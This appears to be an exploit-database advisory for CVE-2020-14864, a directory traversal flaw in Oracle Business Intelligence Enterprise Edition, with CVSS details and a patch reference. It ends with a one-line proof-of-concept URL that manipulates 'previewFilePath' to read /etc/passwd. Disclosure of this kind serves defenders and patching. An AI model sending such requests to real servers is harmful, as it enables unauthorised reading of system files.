Oracle Business Intelligence Enterprise 12.2.1.4.0 LFI

2020.10.29
Credit: Ivo Palazzolo
Risk: High
Local: No
Remote: Yes
CWE: CWE-98


CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: None
Availability impact: None

# Exploit Title: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion # Date: 2020-10-27 # Exploit Author: Ivo Palazzolo (@palaziv) # Reference: https://www.oracle.com/security-alerts/cpuoct2020.html # Vendor Homepage: https://www.oracle.com # Software Link: https://www.oracle.com/middleware/technologies/bi-enterprise-edition-downloads.html # Version: 5.5.0.0.0, 12.2.1.3.0, 12.2.1.4.0 # Tested on: SUSE Linux Enterprise Server # CVE: CVE-2020-14864 # Description A Directory Traversal vulnerability has been discovered in the 'getPreviewImage' function of Oracle Business Intelligence Enterprise Edition. The 'getPreviewImage' function is used to get a preview image of a previously uploaded theme logo. By manipulating the 'previewFilePath' URL parameter an attacker with access to the administration interface is able to read arbitrary system files. # PoC https://TARGET/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd


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